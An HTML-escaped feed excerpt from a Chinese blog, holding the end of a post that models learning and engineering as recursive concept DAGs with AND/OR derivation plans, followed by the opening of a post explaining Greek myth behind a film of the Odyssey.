&lt;li&gt;边是从当前设计到下一设计的工程推导，包括为什么要修改、修改了什么，以及预期解决什么约束；&lt;/li&gt;
&lt;li&gt;验证结果是边成立的证据，包括功能仿真、时序分析、功耗评估，乃至上板和流片结果；&lt;/li&gt;
&lt;li&gt;边权是完成实现、仿真、定位失败和返工所需的综合成本。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid"&gt;
flowchart LR
A[已有设计] --&amp;gt; B[设计概念 v1]
B --&amp;gt; C[实现 RTL v1]
C --&amp;gt; D[仿真验证 v1]
D --&amp;gt;|满足约束| E[已验证设计 v1]
D --&amp;gt;|不满足约束| F[失败证据]
F --&amp;gt; H[修订设计概念 v2]
H --&amp;gt; I[实现 RTL v2]
I --&amp;gt; J[仿真验证 v2]
E --&amp;gt; G[目标设计]
J --&amp;gt;|满足约束| G
&lt;/pre&gt;
&lt;p&gt;为了达到目标设计，每提出一个新的设计概念，通常都需要至少一次实现与仿真验证。路径越长，需要经历的迭代和验证通常越多，工程成本也越高。若一条设计路径为 $p$，可以先把它的成本粗略写成：&lt;/p&gt;
&lt;p&gt;$$
C(p) = \sum_{e \in p} \left(C_{\mathrm{design}}(e) + C_{\mathrm{simulation}}(e) + C_{\mathrm{rework}}(e)\right)
$$&lt;/p&gt;
&lt;p&gt;此时，优化设计路径并不是跳过验证，而是寻找或构造更高价值的中间设计概念，让更少的有效迭代排除更大的设计空间。工程师或 Agent 可以优先选择信息增益更高、验证成本更低、通向目标约束概率更大的下一条边，并把每次仿真的结果反过来更新图和边权。&lt;/p&gt;
&lt;p&gt;当然，真实硬件研发不总是一张预先已知的 DAG。目标可能变化，失败分支会大量出现，不同方案也可能并行收敛。因此更完整的模型可能是一张随验证结果动态生长的设计图，甚至需要概率图、决策过程或搜索树。但核心问题没有改变：&lt;strong&gt;不要只优化单次设计，而要优化从当前设计抵达目标设计的整条验证路径。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同样的抽象也可能进入软件架构、科学研究、药物筛选等领域。它们的共同点不是“都有概念”，而是中间步骤昂贵、每次推进都需要证据，并且路径选择会显著改变到达目标的总成本。&lt;/p&gt;
&lt;h2 id="尚未解决的问题"&gt;尚未解决的问题
&lt;/h2&gt;&lt;p&gt;这套模型并不是从零开始的猜想，它的若干组成部分已经在不同领域分别出现。已有研究不能证明本文提出的完整组合正确，也没有直接“认可”一篇尚未发表和验证的博客；但它们能够说明，这个方向与一些成熟理论相容，并为其中若干结构提供独立依据。&lt;/p&gt;
&lt;h3 id="哪些部分已有理论依据"&gt;哪些部分已有理论依据
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.aleks.com/about_aleks/knowledge_space_theory" target="_blank" rel="noopener"
&gt;知识空间理论（Knowledge Space Theory）&lt;/a&gt;把一个领域表示为知识项目及其可行知识状态，并根据学习者当前状态进行自适应评估。它支持“学习者不是都从同一个固定起点出发”和“知识存在可计算的前置结构”这两个基本方向，但它的知识项目不等于本文携带定义的递归概念，也没有直接规定推导边应当怎样承载解释材料。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.ijcai.org/Proceedings/73/Papers/001.pdf" target="_blank" rel="noopener"
&gt;经典 AND/OR 图研究&lt;/a&gt;为本文的推导方案和最低成本有效推导子图提供了最直接的形式基础：AND 节点要求所有子问题共同解决，OR 节点从替代方案中选择，解不一定是一条路径，而可以是一张具有最低成本的解图。当所有方案都只含一个前置条件时，问题才退化为普通最短路径。因此，本文从“最短路径”转向“最低成本有效推导子图”，不是单纯创造了一套新说法，而是在知识建模场景中重新使用了已有的求解结构。不过，共享前置子图如何计费、路线规模扩大后如何求解，仍然不能直接套用最短路径算法。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://cmap.ihmc.us/docs/theory-of-concept-maps" target="_blank" rel="noopener"
&gt;Novak 和 Cañas 的概念图理论&lt;/a&gt;支持用概念节点和带明确语义的关系组织知识，也强调层级结构取决于当前试图回答的焦点问题。这为“概念之间的关系不能只是无意义连线”提供了依据，但概念图会区分概念和命题，也没有要求每个概念都能递归展开为同构 DAG。因此，“万物皆概念”仍然是本文自己的统一建模选择。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://link.springer.com/article/10.1007/BF02505024" target="_blank" rel="noopener"
&gt;Merrill 的教学首要原理&lt;/a&gt;强调围绕真实问题组织学习，并经历激活已有知识、示范、应用和整合。它支持本文从已有概念出发、通过问题推进、最终回到实际应用的教学方向；但它是一套教学设计原则，不会自动推出本文的图数据结构。&lt;a class="link" href="https://www.nationalacademies.org/read/13398/chapter/8" target="_blank" rel="noopener"
&gt;美国国家研究委员会关于深层学习与迁移的综述&lt;/a&gt;进一步把迁移视为深层学习的定义性特征。这意味着“能够重新推出定义”可以作为理解证据之一，却不足以单独证明模型达到了最终目标；学习者还应当能够把底层原理迁移到新的问题中。&lt;/p&gt;
&lt;p&gt;所以，目前可以较强地获得外部支持的是：用有向结构表达前置关系、用 AND/OR 表达共同条件与替代方案、寻找最低成本解图，以及把解决真实问题和迁移作为最终检验。只有部分理论支持的是递归概念和带语义的关系。仍然缺乏直接依据的，则包括把全部教学材料只放在推导边上、任意子图的自动封装、理解倍率，以及“禁止递归交集”是否应当成为普遍约束。已有理论支持的是这些组成部分，而不是整套模型已经被证明。&lt;/p&gt;
&lt;h3 id="子图封装怎样才能不改变语义"&gt;子图封装怎样才能不改变语义
&lt;/h3&gt;&lt;p&gt;前文关于封装的示意图隐藏了一个关键问题：图论中的“把若干节点缩成一个节点”，不等于教学语义上的无损封装。普通边的可达性也许仍然存在，但 AND/OR 方案可能已经被改变。&lt;/p&gt;
&lt;p&gt;上图中的目标必须由 $B$ 和 $C$ 共同推出：外部概念 $X$ 通过入口 $A$ 支持 $B$ 分支，$Z$ 通过入口 $C$ 支持另一条分支。如果折叠后只是机械地生成 $X \to P$ 和 $Z \to P$ 两条普通入边，并分别把它们当成单边方案，原来的 $X \land Z$ 就会被错误地改写成 $X \lor Z$。同理，一条从内部节点出发的边，也未必意味着只要“理解了父概念”就一定拥有使用这条出边所需的具体内部结论。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.irif.fr/~habib/Documents/HP10.pdf" target="_blank" rel="noopener"
&gt;图的模块分解理论&lt;/a&gt;提供了一个严格但很强的参考条件：在通常的无向图定义中，如果一个节点集合是 module，那么每个外部节点要么连接它的全部节点，要么一个也不连接；模块内各节点从外部看来无法区分，因此可以被一个商图节点替代。对应到本文的有向推导图，还必须分别保持外部入邻接和出邻接的一致。本文希望封装的任意子 DAG 通常不满足这种一致邻接条件，所以不能直接声称它在图论意义上天然无损。&lt;/p&gt;
&lt;p&gt;因此，上文已经把可封装对象限制为有根、方案完整、内部闭合、入口明确、单一出口且不与已有范围部分重叠的子 DAG，并要求父概念继续保存入口的 AND/OR 公式和内部成本语义。这些限制能够排除上面的直接反例，但它们目前仍然只是一组保守的候选充分条件，还需要一个更严格的语义保持定义来检验。&lt;/p&gt;
&lt;p&gt;设被封装的子图为 $H$，折叠映射为 $\pi_H$。至少对于模型允许查询的外部已知集合 $S$ 和目标 $t$，封装前后应当保持可推导性：&lt;/p&gt;
&lt;p&gt;$$
\mathcal{R}(G;S,t) \neq \varnothing
\quad \Longleftrightarrow \quad
\mathcal{R}(G/H;\pi_H(S),\pi_H(t)) \neq \varnothing
$$&lt;/p&gt;
&lt;p&gt;如果还声称封装不影响路径优化，就要进一步证明封装前后的最低成本如何对应。即使可推导性保持不变，边界公式在展开时是否产生指数级方案、共享前置在折叠后是否仍然只计费一次，也可能要求更强的限制。只有满足这些语义保持条件，边界关系才适合自动投影；否则，封装后的节点不能替代原子图参与严谨的路线计算。&lt;/p&gt;
&lt;p&gt;这里仍然没有解决两个问题：上文九项限制是否真的足以保证这种等价，以及其中哪些只是方便定义边界的强约束而非必要条件。未来也许可以允许多个显式出口、多个父概念或更一般的接口公式，但每放宽一项，都必须重新证明它不会改变有效推导子图的集合与成本。&lt;/p&gt;
&lt;h3 id="禁止递归交集换来了什么又失去了什么"&gt;禁止递归交集换来了什么，又失去了什么
&lt;/h3&gt;&lt;p&gt;本文暂时要求同一知识体系中的递归分支只能完整包含或完全分离。若用 $A$、$B$ 表示两个概念所包含的后代集合，这条公理要求：&lt;/p&gt;
&lt;p&gt;$$
A \cap B \in \lbrace \varnothing, A, B \rbrace
$$&lt;/p&gt;
&lt;p&gt;它使递归包含关系成为一种层状结构。这样做的收益很具体：每个概念拥有唯一位置和唯一父级链；展开、折叠、版本管理、缓存和权限边界更容易定义；封装时也不会出现同一个内部节点只被两个父概念各自包住一部分的情况。对于需要稳定编辑和计算的产品数据模型，这些都是真实的工程收益。&lt;/p&gt;
&lt;p&gt;代价也同样明显。现实知识经常允许一个概念同时属于多个分类，或者让多个知识域共享同一段子结构。&lt;a class="link" href="https://protege.stanford.edu/publications/ontology_development/ontology101-noy-mcguinness.html" target="_blank" rel="noopener"
&gt;Stanford 的本体工程指南&lt;/a&gt;指出，多数知识表示系统允许一个类拥有多个父类；Novak 和 Cañas 则把不同知识域之间的 cross-links 视为理解关系、甚至产生创造性认识的重要结构。严格禁止交集会迫使建模者复制共享概念，或者把存在交集的分支拆到不同知识体系。前者可能带来身份、版本和证据同步问题，后者则可能把本来重要的跨域关系藏到体系边界之外。&lt;/p&gt;
&lt;p&gt;这里必须区分&lt;strong&gt;递归包含&lt;/strong&gt;与&lt;strong&gt;推导关系&lt;/strong&gt;。即使继续要求包含结构彼此分离，不同分支之间也应当允许建立推导边；否则模型会失去描述跨领域迁移的能力。真正尚未决定的是：共享概念能否被多个父概念同时包含。如果坚持唯一父级，就应当把“层状包含 + 跨分支推导”明确为一项有意的工程取舍；如果允许多个父级，就需要把包含关系从层状结构放宽为 DAG，并重新解决节点身份、局部展开和子图封装的歧义。&lt;/p&gt;
&lt;p&gt;因此，禁止递归交集不能被表述成知识本身的普遍规律。它更适合被视为当前模型为了换取可计算性和稳定边界而采用的公理，并通过真实知识体系的建模实践检验：它究竟消除了多少复杂度，又制造了多少重复和割裂。&lt;/p&gt;
&lt;h3 id="还需要继续回答的问题"&gt;还需要继续回答的问题
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;什么才是稳定、可判定的概念边界？“概念”与命题、任务、技能和证据之间是否需要更明确的区分？&lt;/li&gt;
&lt;li&gt;如何判断一条新边或一套新方案是真正的推导，而不是省略了关键步骤？解释一组 AND 条件如何共同起作用的材料，是否还需要属于整套方案，而不只属于其中某一条边？&lt;/li&gt;
&lt;li&gt;无环是否应当是所有知识关系的全局约束？面对互相定义、反馈系统和迭代理解时，应该重新划分概念，还是把强连通部分封装为一个更大的概念？&lt;/li&gt;
&lt;li&gt;什么证据足以说明学习者不但能够重新推出定义，还能够把知识迁移到新问题并解决真实问题？&lt;/li&gt;
&lt;li&gt;共享前置子图、个体边权和大量替代方案同时存在时，最低成本解图能否在可接受时间内算出？需要精确算法、启发式搜索，还是近似解？&lt;/li&gt;
&lt;li&gt;如何处理学习后的遗忘、复习，以及概念在不同任务之间的迁移？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果我们能够把概念、推导方案、验证证据和主体状态放进同一个可计算模型，那么“怎样更快地学习”，或者说，“怎样更快认知到目标概念”就不必永远停留在经验和方法论口号上。我们可以寻找现有的最低成本有效推导子图，也可以构造新的概念、边和方案，再用真实结果检验它是否真的降低了成本。&lt;/p&gt;
&lt;p&gt;最后还有一件很有意思的事：&lt;strong&gt;如果把 v0 到 v5 的每一个版本都视为一个概念，那么这篇文章本身也在使用它所描述的理论组织我的认知。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;v0 暴露“对象之间没有结构”的局限，于是推导出 v1；v1 暴露“固定层级和线性流程”的局限，于是推导出 v2。此后的每一次演进也都由一个明确问题引入，并由对这个问题的回答抵达下一个版本。每一版是节点，版本之间“问题 + 解答”的演进过程是边，整条建模史就是一张认知 DAG。&lt;/p&gt;
&lt;p&gt;而写下这篇博客，又是在把这张图递归地封装成一个更大的概念。它既记录模型的结论，也记录结论如何从旧模型中生长出来；既在解释“万物皆概念”，又把自己作为这个理论的一个实例。&lt;/p&gt;
&lt;p&gt;这也许才是“万物皆概念”最终有价值的地方：它不仅试图描述知识是什么，也试图描述认知如何演进，以及我们应该怎样以更低成本抵达下一个可验证的概念。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="2026819-修正推导载荷属于-and-组而不是单条边"&gt;2026.8.19 修正：推导载荷属于 AND 组，而不是单条边
&lt;/h2&gt;&lt;p&gt;上文把问题引入、推导解答和理解材料都放在推导边上。在把这套模型整理成最终版本时，我发现这个归属在 AND 方案下并不成立。它不改变模型的主体结构，但改变了“推导的最小单元究竟是什么”，所以这里补一处修正。&lt;/p&gt;
&lt;p&gt;问题出在 AND 方案。如果推出 $v$ 需要 $A$ 与 $B$ 共同成立，那么单独一条 $A \to v$ 并不足以证成 $v$；“旧概念遇到了什么局限、为什么需要 $v$”只有对整组前提才有意义。把它写在某一条边上，另一条边就会显得没有动机，或者被迫复述同一段话。&lt;/p&gt;
&lt;p&gt;更严重的是边与方案是多对多的。若载荷挂在边上，一方面同一方案内各边必须给出同一个问题引入，另一方面同一条边又可能属于两套动机完全不同的方案，于是这两套方案也被迫共享同一个问题引入。把这两条约束的传递闭包展开，结论是：**只要两套方案共享一条边，它们就必须共用同一个“为什么”。**这显然不是知识的实际形态。&lt;/p&gt;
&lt;p&gt;因此正确的归属是方案本身。问题引入、推导解答和理解材料都是定义在推导方案上的函数，而不是定义在边上的函数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Concept
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── definition # 这个概念最终应当能够被重新推导出的定义
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── children[] # 内部推导图引用的直接子概念
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── derivation_plans[] # 以本图内节点为目标的推导方案
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DerivationPlan # AND 组：推导的最小单元，唯一的内容载体
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── target # 本方案要推出的目标概念
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── premises[] # 必须全部完成的前提概念（AND）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── question # 旧概念遇到什么局限，为什么需要 target
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── answer # 由这组前提共同推出 target 的完整论证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── materials[] # 完成这一步推导所需的材料
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Derivation # 投影视图，由方案导出，不单独存储教学内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── source
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── target
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── plan_ref
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这样一来，模型正好变成一张 AND/OR 超图：一套方案就是一条超边，前提集合是尾、目标是头；推导边退化为超边在有向图上的投影，只用来判断无环、给出拓扑序和可达性。回过头看，我在 v3 得到的那个结论——“Prompt 就是有向边”——只在每套方案都只有一个前提时才成立。&lt;/p&gt;
&lt;p&gt;这处修正是保守的。单前提方案下方案与边一一对应，所以上文关于有效推导子图、无环性、拓扑序、递归展开约束和子图封装条件的结论全部不变，信号与系统案例中的 19 条边、5 条边、$\Delta C_0 = -14$ 和 $26%$ 也不变。&lt;/p&gt;
&lt;p&gt;唯一的实质变化是成本口径：结构成本应当数的是需要完成的推导方案数，也就是推导步数，而不是边数。&lt;/p&gt;
&lt;p&gt;$$
C_0(R) = |\operatorname{sel}(R)|, \qquad
C_u^*(S,t) = \min_{R \in \mathcal{R}(S,t)} \sum_{P \in \operatorname{sel}(R)} w_u(P)
$$&lt;/p&gt;
&lt;p&gt;其中 $\operatorname{sel}(R)$ 是这张有效推导子图所选中的方案集合，$w_u(P)$ 是完成整套方案的成本；$|E_R|$ 退居为“前提总数”这个辅助指标。当所有方案都只有一个前提时，$|\operatorname{sel}(R)| = |E_R|$，两种口径重合。另外还有一个附带好处：$R$ 本身就是一组方案，不必再从边集合反推当初选了哪套方案。&lt;/p&gt;
&lt;p&gt;这也顺带回答了上一节遗留问题中的一半：解释一组 AND 条件如何共同起作用的材料，确实属于整套方案，而不属于其中某一条边。剩下没有解决的是，方案成本 $w_u(P)$ 应该用什么可观测量来度量，以及封装前后方案成本如何对应。&lt;/p&gt;
&lt;p&gt;最后，这处修正本身也是一条边：v5 暴露出“载荷归属与 AND 语义冲突”的局限，由此推导出 v5.1。按照本文的说法，它同样是一次“问题引入 + 解答”，并被记录进了那张仍在生长的认知 DAG。&lt;/p&gt;</description></item><item><title>电影《奥德赛》：解压一个西方文化的压缩包</title><link>https://v3n0.com/post/2026/notes-of-odyssey-the-film/</link><pubDate>Sun, 16 Aug 2026 02:50:50 +0800</pubDate><guid>https://v3n0.com/post/2026/notes-of-odyssey-the-film/</guid><description>&lt;img src="https://v3n0.com/post/2026/notes-of-odyssey-the-film/John_William_Waterhouse_-_Ulysses_and_the_Sirens_%281891%29.jpg" alt="Featured image of post 电影《奥德赛》：解压一个西方文化的压缩包" /&gt;&lt;p&gt;看电影的时候，你是否不断遇到一些“我好像听说过，但又不知道”的东西：宙斯 Zeus、波吕斐摩斯 Polyphemus、波塞冬 Poseidon、瑟西 Circe、忘忧莲 Lotus、塞壬 Sirens、冥界 Hades、太阳神 Helios……&lt;/p&gt;
&lt;p&gt;你是否会好奇这些总是记不住、容易混淆的人名，他们到底有怎样的故事，在文化中又象征了什么：奥德修斯 Odysseus、佩涅洛佩 Penelope、忒勒马科斯 Telemachus、欧迈俄斯 Eumaeus、阿尔戈斯 Argos、安提诺俄斯 Antinous、阿伽门农 Agamemnon、墨涅拉俄斯 Menelaus……&lt;/p&gt;
&lt;p&gt;它们似乎只是电影里的角色和情节，但实际上，每一个名字背后都压缩了几千年的西方文化。&lt;/p&gt;
&lt;p&gt;就像我们看到猴子和金箍，不需要解释就知道是孙悟空，当电影中出现独眼巨人，熟悉西方文化的观众也能联想到他是波塞冬的儿子波吕斐摩斯 Polyphemus。就像知道孙悟空要经历八十一难一样，他们也清楚奥德修斯 Odysseus 的队伍将在海上承受波塞冬的报复。&lt;/p&gt;
&lt;p&gt;这篇文章并不打算做影评，网上的博主已经做了不少出色的解析，而是想做一次 &lt;code&gt;西方文化.zip&lt;/code&gt; 的解包。&lt;/p&gt;
&lt;p&gt;本文会完整讲述《奥德赛》原著，因此不可避免地包含原著剧透，但不会逐场复述电影。诺兰对人物、事件顺序和结局都做了重新编排，电影和原著并不能一一对照。这里主要补齐三类内容：电影省略或改写的重要原著情节、有意思却来不及在银幕上展开的细节，以及已经进入英语文化、电影默认观众知道的典故。&lt;/p&gt;
&lt;p&gt;《奥德赛》的中文字幕不是双语，完全看不到英文。中文又不是表音文字，如果事先不知道原单词的发音和对应译名，观影时就很容易把一长串人名记混，更别说有些译名还选用了生僻字。有些中文翻译也很难同时保留原词背后的其他含义。&lt;/p&gt;
&lt;p&gt;本人并没有系统学习过西方古典文化，只是出于对异国文化的兴趣，权当自己学习了解时的一次笔记。人物的“象征意义”也不是标准答案，我只记录那些在原著结构或后世英语文化中已经比较常见的理解；太生僻、太依赖某一种理论的解读就不强行附会了。如有错误或疏漏，希望评论补充！&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="原著故事大纲"&gt;原著故事大纲
&lt;/h2&gt;&lt;p&gt;特洛伊战争打了十年。战争结束后，Odysseus 又在归乡途中漂泊十年，历经食忘忧莲的人、独眼巨人、女神与女巫、塞壬、海怪、海难和冥界，最终才回到自己的岛国伊萨卡 Ithaca。&lt;/p&gt;
&lt;p&gt;此时，王宫已经被一百多名求婚者占据。他们一边声称 Odysseus 已死，一边挥霍他的财产，逼迫妻子 Penelope 改嫁，并计划杀死已经长大的儿子 Telemachus。Odysseus 伪装成乞丐进入自己的家，在确认谁仍然忠诚之后与儿子相认，杀死求婚者，最终通过只有夫妻二人才知道的婚床秘密与 Penelope 相认，伊萨卡恢复秩序。&lt;/p&gt;
&lt;p&gt;不过《奥德赛》并不是从特洛伊战争结束后按顺序讲起的。故事开头时，Odysseus 已经漂泊多年，被困在 Calypso 的岛上；前四卷先讲儿子 Telemachus，之后才让 Odysseus 登场。他过去经历的著名冒险，大多是他在法伊阿刻斯人宫廷里亲口讲出的回忆。&lt;/p&gt;
&lt;p&gt;这种“直接从故事中间开始”的写法叫 &lt;strong&gt;in medias res&lt;/strong&gt;。这个拉丁语文学术语虽然不是《奥德赛》发明的，却正是古罗马诗人贺拉斯用来赞扬荷马叙事方式的说法。今天的小说和电影仍然在大量使用它。&lt;/p&gt;
&lt;h2 id="三个关键词"&gt;三个关键词
&lt;/h2&gt;&lt;p&gt;把下面三个概念记住，《奥德赛》里看起来互不相干的冒险就会突然连起来。&lt;/p&gt;
&lt;h3 id="nostos回家"&gt;Nostos：回家
&lt;/h3&gt;&lt;p&gt;**Nostos（νόστος）**是“归返、回家”。《奥德赛》表面上是一连串怪物副本，真正的主线却始终只有一个：Odysseus 能不能回家，并重新成为丈夫、父亲和伊萨卡的国王。&lt;/p&gt;
&lt;p&gt;英语里的 &lt;strong&gt;nostalgia&lt;/strong&gt; 也是后来用希腊语词根拼出来的：&lt;code&gt;nostos&lt;/code&gt;（回家）+ &lt;code&gt;algos&lt;/code&gt;（痛苦），最初指的就是因无法回家而产生的乡愁。换句话说，《奥德赛》本身就是一部巨大的 nostalgia。&lt;/p&gt;
&lt;h3 id="xenia待客之道"&gt;Xenia：待客之道
&lt;/h3&gt;&lt;p&gt;**Xenia（ξενία）**通常翻译成“宾客友谊”或“待客之道”。在陌生人随时可能是神明化身的世界里，主人应当先给旅人食物、住处和保护，再询问身份；客人也必须尊重主人，不可滥用招待。&lt;/p&gt;
&lt;p&gt;这不是普通的礼貌，而是由 &lt;strong&gt;Zeus Xenios&lt;/strong&gt;，也就是“保护宾客的宙斯”担保的神圣秩序。&lt;/p&gt;
&lt;p&gt;整部《奥德赛》几乎可以看成一场超长待客测试：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;法伊阿刻斯人接待陌生的 Odysseus，给他衣服、食物并送他回家，是正确答案；&lt;/li&gt;
&lt;li&gt;贫穷的养猪人 Eumaeus 不知道乞丐是谁，仍然尽力招待，是正确答案；&lt;/li&gt;
&lt;li&gt;Polyphemus 不但拒绝招待客人，反而把客人吃掉，是最恐怖的错误答案；&lt;/li&gt;
&lt;li&gt;求婚者把自己当成客人，却长期霸占主人家、吃光主人财产，同样是对 xenia 的彻底颠倒。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以他们最后遭到惩罚，不只是因为“人品坏”，而是因为他们破坏了人类社会得以运转的基本秩序。&lt;/p&gt;
&lt;h3 id="metis聪明但不是书本上的聪明"&gt;Metis：聪明，但不是书本上的聪明
&lt;/h3&gt;&lt;p&gt;**Metis（μῆτις）**是一种带有计谋、应变、伪装和手艺的实践智慧。它不是知道多少知识，而是在力量不占优势时，仍能想办法解决问题。&lt;/p&gt;
&lt;p&gt;Odysseus 用假名骗过独眼巨人、把自己绑在桅杆上听塞壬、伪装成乞丐回家，靠的都是 metis。Athena 既是智慧女神，也是这种聪明的神圣版本。Penelope 白天织布、晚上拆布，同样是在使用 metis。&lt;/p&gt;
&lt;p&gt;这也是为什么 Odysseus 和 Penelope 最终能重新认出彼此：他们不只是一对等待团聚的夫妻，还是整部史诗中最会测试、伪装和设局的两个人。&lt;/p&gt;
&lt;h2 id="神话传说背景"&gt;神话/传说背景
&lt;/h2&gt;&lt;h3 id="特洛伊木马-trojan-horse"&gt;特洛伊木马 Trojan Horse
&lt;/h3&gt;&lt;p&gt;特洛伊战争最后，希腊军队假装撤退，在海滩上留下一个巨大的木马。特洛伊人以为这是献给 Athena 的礼物，把木马拖进城内。夜里，藏在木马中的希腊士兵出来打开城门，已经乘船折返的军队涌入特洛伊，十年都没能攻破的城市从内部陷落。&lt;/p&gt;
&lt;p&gt;电影完整拍出了木马和 Sinon 西农，但有一个容易混淆的地方：特洛伊木马并没有出现在《伊利亚特》的正文里。《伊利亚特》结束于战争末期、特洛伊城被攻破之前；《奥德赛》只通过人物回忆提到木马。电影中负责欺骗特洛伊人的 Sinon 甚至不是《奥德赛》人物，我们现在最熟悉的这套完整版本，主要来自维吉尔的《埃涅阿斯纪》。&lt;/p&gt;
&lt;p&gt;英语中的 &lt;strong&gt;Trojan horse&lt;/strong&gt; 因而变成“伪装成礼物或正常事物、实际从内部实施破坏的东西”。计算机中的 &lt;strong&gt;Trojan&lt;/strong&gt;，也就是木马程序，正是从这里来的。英语里还有一句 &lt;strong&gt;Beware of Greeks bearing gifts&lt;/strong&gt;，大意是“即使希腊人带着礼物来也要小心”，同样来自《埃涅阿斯纪》中的警告。&lt;/p&gt;
&lt;p&gt;它的象征意义很稳定：&lt;strong&gt;最危险的攻击不一定来自城墙外，也可能被受害者亲手迎进内部。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="zeus-宙斯"&gt;Zeus 宙斯
&lt;/h3&gt;&lt;p&gt;Zeus 是众神之王，但在《奥德赛》中，他最重要的作用不是到处扔闪电，而是维护誓言、宾客关系和惩罚的正当性。&lt;/p&gt;
&lt;p&gt;电影不断提到“Zeus&amp;rsquo;s law”，却没有让 Zeus 真正出场。原著一开场，Zeus 就用 Aegisthus 的死亡讨论一个问题：人类总说灾祸来自神，可许多灾祸其实是人在明知后果之后仍然自己造成的。Aegisthus 明明得到警告，还是勾引 Clytemnestra、杀死 Agamemnon，最终被 Agamemnon 的儿子 Orestes 复仇。&lt;/p&gt;
&lt;p&gt;这个开场实际上给整部作品定了规则：神会警告，人仍然有选择；一旦越过边界，就要承担后果。Odysseus 的船员宰杀 Helios 的神牛如此，求婚者滥用 xenia 也是如此。&lt;/p&gt;
&lt;p&gt;所以 Zeus 在这部作品中象征的不是单纯的力量，而是&lt;strong&gt;高于个人欲望的秩序、誓言和因果&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="athena-雅典娜以及英语里的-mentor"&gt;Athena 雅典娜，以及英语里的 mentor
&lt;/h3&gt;&lt;p&gt;Athena 是智慧、手工艺和战略战争女神，也是 Odysseus 一家最重要的保护者。电影更像把她拍成只有 Odysseus 能看见的良知，但原著中的 Athena 是实实在在介入事件的神。她请求 Zeus 放 Odysseus 回家，不断变换身份提供信息，改变 Odysseus 的外貌，安排父子相认，甚至在最后的战斗中亲自帮助他。&lt;/p&gt;
&lt;p&gt;她欣赏 Odysseus，不只是因为他勇敢，而是因为两者都擅长 metis：他们都聪明、谨慎、会伪装，甚至重新见面时还要先互相说几轮假话。Athena 可以理解成 Odysseus 身上“策略智慧”的神格化。&lt;/p&gt;
&lt;p&gt;英语里非常常见的 &lt;strong&gt;mentor&lt;/strong&gt; 也来自《奥德赛》。Mentor 门托本来是 Odysseus 的老朋友，Odysseus 出征前把家托付给他；Athena 后来多次化身为 Mentor，引导年轻的 Telemachus。这个名字经法国作家费讷隆的《忒勒马科斯历险记》进一步普及，最后变成了英语中的普通名词：给经验较少者提供长期指导的人。&lt;/p&gt;
&lt;p&gt;所以今天公司里说“找一个 mentor”，背后站着的其实还是伪装成人类、引导 Telemachus 成长的 Athena。&lt;/p&gt;
&lt;h3 id="poseidon-波塞冬"&gt;Poseidon 波塞冬
